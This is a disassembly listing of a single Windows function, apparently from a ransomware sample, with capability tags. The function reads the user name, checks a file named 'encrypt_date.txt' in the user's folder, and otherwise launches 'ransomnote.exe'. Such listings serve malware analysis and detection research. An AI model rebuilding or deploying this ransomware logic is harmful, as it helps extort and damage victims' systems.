Function at 0x140006a00
Capabilities:
Create process on windows
Get session user name
Read file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x1e8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x160], 0xfffffffffffffffe
mov dword [rbp + 0x12c], 0
mov qword [rbp + 0x90], 0
mov qword [rbp + 0x98], 1
mov qword [rbp + 0xa0], 0
mov qword [rbp + 0xc0], 0
mov qword [rbp + 0xc8], 1
mov byte [rbp + 0x15d], 1
lea rdx, [rbp + 0x12c]
xor ecx, ecx
call sub.ADVAPI32.dll_GetUserNameA
mov edi, dword [rbp + 0x12c]
test rdi, rdi
je 0x140006ad3
mov byte [rbp + 0x15d], 1
lea rcx, [rbp + 0x90]
xor edx, edx
mov r8, rdi
call fcn.14001fd50
mov rsi, qword [rbp + 0x98]
mov rbx, qword [rbp + 0xa0]
lea rcx, [rsi + rbx]
cmp edi, 2
jb 0x140006acb
lea r8, [rdi - 1]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
add rbx, rdi
dec rbx
lea rcx, [rsi + rbx]
mov byte [rcx], 0
inc rbx
jmp 0x140006ada
xor ebx, ebx
mov esi, 1
mov qword [rbp + 0xa0], rbx
mov byte [rbp + 0x15d], 1
lea rdx, [rbp + 0x12c]
mov rcx, rsi
call sub.ADVAPI32.dll_GetUserNameA
mov rsi, qword [rbp + 0xa0]
mov qword [rbp + 0xd0], rsi
movups xmm0, xmmword [rbp + 0x90]
movaps xmmword [rbp + 0xc0], xmm0
mov ebx, dword [rbp + 0x12c]
dec ebx
mov rdi, rbx
sub rdi, rsi
jbe 0x140006b83
mov rax, qword [rbp + 0xc0]
sub rax, rsi
cmp rax, rdi
jae 0x140006b52
mov byte [rbp + 0x15d], 0
lea rcx, [rbp + 0xc0]
mov rdx, rsi
mov r8, rdi
call fcn.14001fd50
mov rsi, qword [rbp + 0xd0]
mov rbx, qword [rbp + 0xc8]
lea rcx, [rbx + rsi]
cmp rdi, 2
jb 0x140006b7a
lea r8, [rdi - 1]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
add rsi, rdi
dec rsi
add rbx, rsi
mov rcx, rbx
mov byte [rcx], 0
inc rsi
mov rbx, rsi
mov qword [rbp + 0xd0], rbx
movzx eax, byte [0x14002c131]
mov ecx, 9
mov edx, 1
call fcn.140007c00
test rax, rax
je 0x140007449
movabs rcx, 0x73726573555c3a43
mov qword [rax], rcx
mov byte [rax + 8], 0x5c
mov qword [rbp + 0x110], 9
mov qword [rbp + 0x118], rax
mov qword [rbp + 0x120], 9
mov rdx, qword [rbp + 0xc8]
lea rsi, [rbp - 0x10]
mov rcx, rsi
mov r8, rbx
call fcn.14001d000
cmp qword [rbp - 0x10], 0
jne 0x140007464
mov r14, qword [rbp - 8]
mov rbx, qword [rbp]
mov rax, qword [rbp + 0x110]
mov rdi, qword [rbp + 0x120]
sub rax, rdi
cmp rax, rbx
jae 0x140006c2f
lea rcx, [rbp + 0x110]
mov rdx, rdi
mov r8, rbx
call fcn.14001fd50
mov rdi, qword [rbp + 0x120]
mov rcx, qword [rbp + 0x118]
add rcx, rdi
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add rdi, rbx
mov qword [rbp + 0x120], rdi
mov rax, qword [rbp + 0x110]
sub rax, rdi
cmp rax, 0x10
ja 0x140006c7a
lea rcx, [rbp + 0x110]
mov r8d, 0x11
mov rdx, rdi
call fcn.14001fd50
mov rdi, qword [rbp + 0x120]
mov rax, qword [rbp + 0x118]
movups xmm0, xmmword [str.encrypt_date.txt]
movups xmmword [rax + rdi], xmm0
mov byte [rax + rdi + 0x10], 0x74
add rdi, 0x11
mov qword [rbp + 0x120], rdi
lea rcx, [rbp + 0xe0]
lea rdx, [rbp + 0x110]
call fcn.14001a980
mov r8, qword [rbp + 0xe8]
mov rdi, qword [rbp + 0xf0]
cmp rdi, 0x10
jae 0x140006ce9
test rdi, rdi
je 0x140006d12
xor eax, eax
xor edx, edx
nop dword [rax]
cmp byte [r8 + rdx], 0
je 0x140006d3e
inc rdx
cmp rdi, rdx
jne 0x140006cd0
mov rdx, rdi
test rax, rax
jne 0x140006d1b
jmp 0x140006d48
mov byte [rbp + 0x15b], 1
xor ecx, ecx
mov qword [rbp + 0x150], r8
mov rdx, r8
mov r8, rdi
call fcn.14001cde0
mov r8, qword [rbp + 0x150]
test rax, rax
jne 0x140006d1b
jmp 0x140006d48
xor edx, edx
xor eax, eax
test rax, rax
je 0x140006d48
mov rax, qword [rbp + 0xe0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x14000749c
mov qword [rbp + 0x148], rdi
jmp 0x140006d7f
mov eax, 1
test rax, rax
jne 0x140006d1b
mov qword [rbp + 0x150], r8
mov rax, qword [rbp + 0xf0]
mov qword [rbp], rax
movups xmm0, xmmword [rbp + 0xe0]
movaps xmmword [rbp - 0x10], xmm0
mov byte [rbp + 0x15b], 0
lea rcx, [rbp - 0x10]
call fcn.14001a320
mov qword [rbp + 0x148], rdx
mov r8, rax
mov qword [rbp + 0x150], r8
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov rcx, r8
mov edx, 1
mov r8d, 1
xor r9d, r9d
call sub.KERNEL32.dll_CreateFileA
mov rdi, rax
mov rcx, qword [rbp + 0x150]
mov byte [rcx], 0
mov rdx, qword [rbp + 0x148]
test rdx, rdx
je 0x140006dd9
mov r8d, 1
call fcn.140007c10
mov qword [rbp + 0x78], 0
mov qword [rbp + 0x80], 1
mov qword [rbp + 0x88], 0
lea rcx, [rbp + 0x78]
mov r8d, 2
xor edx, edx
call fcn.14001fd50
mov rbx, qword [rbp + 0x80]
mov r14, qword [rbp + 0x88]
mov word [rbx + r14], 0
lea r15, [r14 + 2]
mov qword [rbp + 0x88], r15
mov dword [rbp + 0xac], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0xac]
mov rcx, rdi
mov rdx, rbx
mov r8d, 2
call sub.KERNEL32.dll_ReadFile
test r15, r15
je 0x140007419
cmp byte [rbx], 0x63
jne 0x140006e85
cmp r14, 0xfffffffffffffffe
jae 0x14000742e
cmp byte [rbx + 1], 0x63
jne 0x140006e85
xor esi, esi
mov rdx, qword [rbp + 0x78]
test rdx, rdx
jne 0x140007397
jmp 0x1400073a9
mov rcx, rdi
call sub.KERNEL32.dll_CloseHandle
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x68], 1
mov qword [rbp + 0x70], 0
lea rcx, [rbp + 0x60]
mov r8d, 0xc8
xor edx, edx
call fcn.14001fd50
mov rbx, qword [rbp + 0x68]
mov rdi, qword [rbp + 0x70]
xorps xmm0, xmm0
movups xmmword [rbx + rdi + 0xb0], xmm0
movups xmmword [rbx + rdi + 0xa0], xmm0
movups xmmword [rbx + rdi + 0x90], xmm0
movups xmmword [rbx + rdi + 0x80], xmm0
movups xmmword [rbx + rdi + 0x70], xmm0
movups xmmword [rbx + rdi + 0x60], xmm0
movups xmmword [rbx + rdi + 0x50], xmm0
movups xmmword [rbx + rdi + 0x40], xmm0
movups xmmword [rbx + rdi + 0x30], xmm0
movups xmmword [rbx + rdi + 0x20], xmm0
movups xmmword [rbx + rdi + 0x10], xmm0
movups xmmword [rbx + rdi], xmm0
mov qword [rbx + rdi + 0xbf], 0
mov byte [rbx + rdi + 0xc7], 0
add rdi, 0xc8
mov qword [rbp + 0x70], rdi
xor ecx, ecx
mov rdx, rbx
mov r8d, 0xc8
call sub.KERNEL32.dll_GetModuleFileNameA
mov r14d, eax
mov qword [rbp + 0xf8], 0
mov qword [rbp + 0x100], 1
mov qword [rbp + 0x108], 0
add r14d, 0xffffffed
xor edx, edx
lea r12, [rbp + 0xf8]
xor r15d, r15d
jmp 0x140006f96
mov rdx, qword [rbp + 0x108]
inc r15
mov rax, qword [rbp + 0x100]
mov byte [rax + rdx], r13b
mov rdx, qword [rbp + 0x108]
inc rdx
mov qword [rbp + 0x108], rdx
cmp r15, r14
jae 0x140006fc3
cmp r15, rdi
jae 0x1400073fb
movzx r13d, byte [rbx + r15]
cmp rdx, qword [rbp + 0xf8]
jne 0x140006f77
mov byte [rbp + 0x15c], 1
mov rcx, r12
call fcn.140007a90
jmp 0x140006f70
lea rbx, str.ransomnote.exe
lea r14, [0x14002206e]
lea rdi, [rbp + 0xf8]
jmp 0x140006fff
inc rbx
mov rax, qword [rbp + 0x100]
mov byte [rax + rdx], r15b
mov rdx, qword [rbp + 0x108]
inc rdx
mov qword [rbp + 0x108], rdx
cmp rbx, r14
je 0x140007029
movzx r15d, byte [rbx]
cmp rdx, qword [rbp + 0xf8]
jne 0x140006fe0
mov byte [rbp + 0x15c], 1
mov rcx, rdi
call fcn.140007a90
mov rdx, qword [rbp + 0x108]
jmp 0x140006fe0
mov dword [rbp - 0x10], 0x68
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], 0
movaps xmm1, xmmword [0x140021c30]
movups xmmword [rbp + 0x10], xmm1
movaps xmm1, xmmword [0x140021c40]
movups xmmword [rbp + 0x20], xmm1
mov dword [rbp + 0x30], 0
movups xmmword [rbp + 0x38], xmm0
movups xmmword [rbp + 0x48], xmm0
movaps xmmword [rbp - 0x30], xmm0
movabs rax, 0x138800000fa0
mov qword [rbp - 0x20], rax
mov qword [rbp + 0x130], 0
mov qword [rbp + 0x138], 1
mov qword [rbp + 0x140], 0
test rdx, rdx
je 0x140007188
mov qword [rbp + 0x150], rdx
js 0x1400074d6
mov rdi, qword [rbp + 0x100]
movzx eax, byte [0x14002c131]
mov edx, 1
mov rbx, qword [rbp + 0x150]
mov rcx, rbx
call fcn.140007c00
test rax, rax
je 0x1400074eb
mov r15, rax
mov rcx, rax
mov rdx, rdi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
xor ebx, ebx
mov rdx, qword [rbp + 0x140]
lea rdi, [rbp + 0x130]
mov qword [rbp + 0x148], r15
jmp 0x140007138
mov rax, qword [rbp + 0x138]
mov byte [rax + rdx], r14b
mov rdx, qword [rbp + 0x140]
inc rdx
mov qword [rbp + 0x140], rdx
inc rbx
cmp qword [rbp + 0x150], rbx
je 0x14000715e
movzx r14d, byte [r15 + rbx]
cmp rdx, qword [rbp + 0x130]
jne 0x140007110
mov rcx, rdi
call fcn.140007a90
mov rdx, qword [rbp + 0x140]
mov r15, qword [rbp + 0x148]
jmp 0x140007110
mov r8d, 1
mov rcx, r15
mov rdx, qword [rbp + 0x150]
call fcn.140007c10
mov rdx, qword [rbp + 0x130]
mov rax, qword [rbp + 0x140]
cmp rax, rdx
je 0x14000718a
jmp 0x1400071ab
xor edx, edx
mov byte [rbp + 0x15f], 1
mov byte [rbp + 0x15e], 1
lea rcx, [rbp + 0x130]
call fcn.140007a90
mov rax, qword [rbp + 0x140]
mov rcx, qword [rbp + 0x138]
mov byte [rcx + rax], 0x20
mov rdx, qword [rbp + 0x140]
inc rdx
mov qword [rbp + 0x140], rdx
mov rbx, qword [rbp + 0x118]
mov r14, qword [rbp + 0x120]
add r14, rbx
lea rdi, [rbp + 0x130]
jmp 0x140007216
mov rdx, qword [rbp + 0x140]
inc rbx
mov rax, qword [rbp + 0x138]
mov byte [rax + rdx], r15b
mov rdx, qword [rbp + 0x140]
inc rdx
mov qword [rbp + 0x140], rdx
cmp rbx, r14
je 0x140007240
movzx r15d, byte [rbx]
cmp rdx, qword [rbp + 0x130]
jne 0x1400071f7
mov byte [rbp + 0x15f], 1
mov byte [rbp + 0x15e], 1
mov rcx, rdi
call fcn.140007a90
jmp 0x1400071f0
cmp rdx, qword [rbp + 0x130]
jne 0x14000726a
mov byte [rbp + 0x15f], 1
mov byte [rbp + 0x15e], 1
lea rcx, [rbp + 0x130]
call fcn.140007a90
mov rdx, qword [rbp + 0x140]
mov rax, qword [rbp + 0x138]
mov byte [rax + rdx], 0
inc qword [rbp + 0x140]
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0xf0], rax
movups xmm0, xmmword [rbp + 0xf8]
movaps xmmword [rbp + 0xe0], xmm0
mov byte [rbp + 0x15f], 1
mov byte [rbp + 0x15e], 0
lea rcx, [rbp + 0xe0]
call fcn.14001a2f0
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x148], rdx
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0xf0], rax
movups xmm0, xmmword [rbp + 0x130]
movaps xmmword [rbp + 0xe0], xmm0
lea rcx, [rbp + 0xe0]
call fcn.14001a2f0
mov qword [rbp + 0xb0], rdx
lea rcx, [rbp - 0x30]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0
mov rcx, qword [rbp + 0x150]
mov qword [rbp + 0xb8], rax
mov rdx, rax
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_CreateProcessA
mov rcx, qword [rbp + 0xb8]
mov byte [rcx], 0
mov rdx, qword [rbp + 0xb0]
test rdx, rdx
je 0x140007352
mov r8d, 1
call fcn.140007c10
mov rcx, qword [rbp + 0x150]
mov byte [rcx], 0
mov rdx, qword [rbp + 0x148]
test rdx, rdx
je 0x140007373
mov r8d, 1
call fcn.140007c10
mov rdx, qword [rbp + 0x60]
test rdx, rdx
je 0x14000738b
mov rcx, qword [rbp + 0x68]
mov r8d, 1
call fcn.140007c10
mov sil, 1
mov rdx, qword [rbp + 0x78]
test rdx, rdx
je 0x1400073a9
mov rcx, qword [rbp + 0x80]
mov r8d, 1
call fcn.140007c10
mov rdx, qword [rbp + 0x110]
test rdx, rdx
je 0x1400073c7
mov rcx, qword [rbp + 0x118]
mov r8d, 1
call fcn.140007c10
mov rdx, qword [rbp + 0xc0]
test rdx, rdx
je 0x1400073e5
mov rcx, qword [rbp + 0xc8]
mov r8d, 1
call fcn.140007c10
mov eax, esi
add rsp, 0x1e8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov byte [rbp + 0x15c], 1
lea r8, [0x140022070]
mov rcx, r15
mov rdx, rdi
call fcn.140020a20
jmp 0x140007506
lea r8, [0x140022030]
xor ecx, ecx
xor edx, edx
call fcn.140020a20
jmp 0x140007506
lea r8, [0x140022048]
mov ecx, 1
mov edx, 1
call fcn.140020a20
jmp 0x140007506
mov byte [rbp + 0x15d], 0
mov ecx, 1
mov edx, 9
call fcn.1400207c0
jmp 0x140007506
movups xmm0, xmmword [rbp - 8]
movaps xmmword [rbp + 0xe0], xmm0
lea rax, [0x140022000]
mov qword [rsp + 0x20], rax
lea rcx, [0x140021c50]
lea r9, [0x140021ca0]
lea r8, [rbp + 0xe0]
mov edx, 0x2b
call fcn.140020cb0
jmp 0x140007506
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], r8
mov qword [rbp], rdi
mov qword [rbp + 8], rdx
lea rax, [0x140022018]
mov qword [rsp + 0x20], rax
lea rcx, [0x140021c50]
lea r9, [0x140021c80]
lea r8, [rbp - 0x10]
mov edx, 0x2b
call fcn.140020cb0
jmp 0x140007506
mov byte [rbp + 0x15f], 1
mov byte [rbp + 0x15e], 1
call fcn.14001a110
jmp 0x140007506
mov byte [rbp + 0x15f], 1
mov byte [rbp + 0x15e], 1
mov ecx, 1
mov rdx, rbx
call fcn.1400207c0
ud2